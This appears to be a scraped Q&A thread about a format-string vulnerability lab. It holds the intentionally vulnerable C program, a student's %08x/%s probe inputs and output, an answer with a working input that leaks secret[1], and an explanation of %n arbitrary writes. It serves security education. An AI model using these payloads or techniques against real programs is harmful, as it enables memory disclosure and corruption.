Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Accessing 2nd element of an array in a format string vulnerability attack

I'm working on a format-string vulnerability lab, where we're given the following code:

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; 
  secret[1] = SECRET2;

  printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* vulnerable place */
  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
  }

We're not supposed to modify the code at all. Using just the input, we have 4 goals: crash the program, print the value at secret[1], modify the value at secret[1], and modify the value at secret[1] to a pre-determined value.

Sample output I get is:

The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025

So, by entering 8 "%08x"s, I print the address of secret + 4, then I print the addresses of ints a, b, c, and d - but as I never gave them a value, they don't point anywhere and just display 0's. Following that is the decimal I input, chosen so that the 'ffff' would be clearly visible. Next comes the address of secret[0], then I get into other values stored in the program.

If I were to input AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x., after the .0804a008 would be .41414141, because the A's from the string input would be stored there.

It's pretty easy to crash the program: enough %s on the string input causes a segfault. Now I need to read the value at secret[1], though, and I'm totally lost. I tried trying to put the address on the stack somehow, by putting it at the start of the string like so: \xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s, but the address isn't getting pushed anywhere and I just print secret[0] (which, for the curious, is 'D'). I've tried all sorts of address, but after a while I realized I was just storing all of them as a string where those A's showed up previously. They're not being converted to hex or anything.

I've seen a lot of discussion about this code on SA and other places, but I've yet to see anyone talk about how you get the values at secret[1].

Any help would be greatly appreciated.

like image 641
Max Avatar asked Apr 17 '13 18:04

Max


People also ask

What is format string attack how can we prevent the attack?

Preventing format string attacks means preventing format string vulnerabilities, which implies keeping certain things in mind while coding your C application. If possible, make the format string a constant. If the above isn't possible, then always specify a format string as part of the program rather than as an input.

What causes format string vulnerability?

Originally thought harmless, format string exploits can be used to crash a program or to execute harmful code. The problem stems from the use of unchecked user input as the format string parameter in certain C functions that perform formatting, such as printf() .

What is format string error?

A Format String error occurs when the submitted data of an input string is evaluated as a command by the application.

What are format strings explain with example?

A format string is an ASCII string that contains text and format parameters. Example: // A statement with format string printf("my name is : %s\n", "Akash"); // Output // My name is : Akash. There are several format strings that specify output in C and many other programming languages but our focus is on C.


2 Answers

To access secret[1] you must enter it address as the integer input.

Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
like image 167
Jonatan Goebel Avatar answered Oct 13 '22 01:10

Jonatan Goebel


The trick is to use the %n specifier in the user-specified format string. %n says to take the number of bytes written so far and store them at the address pointed to by the next argument. When you don't supply enough arguments to printf, then the address that it writes to is whatever value happens to be next on the stack. If you can exploit that address to be what you want, then you can essentially write a 4-byte integer anywhere in memory.

// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory 
printf("Hello, world!\n%n");
like image 45
Adam Rosenfield Avatar answered Oct 13 '22 00:10

Adam Rosenfield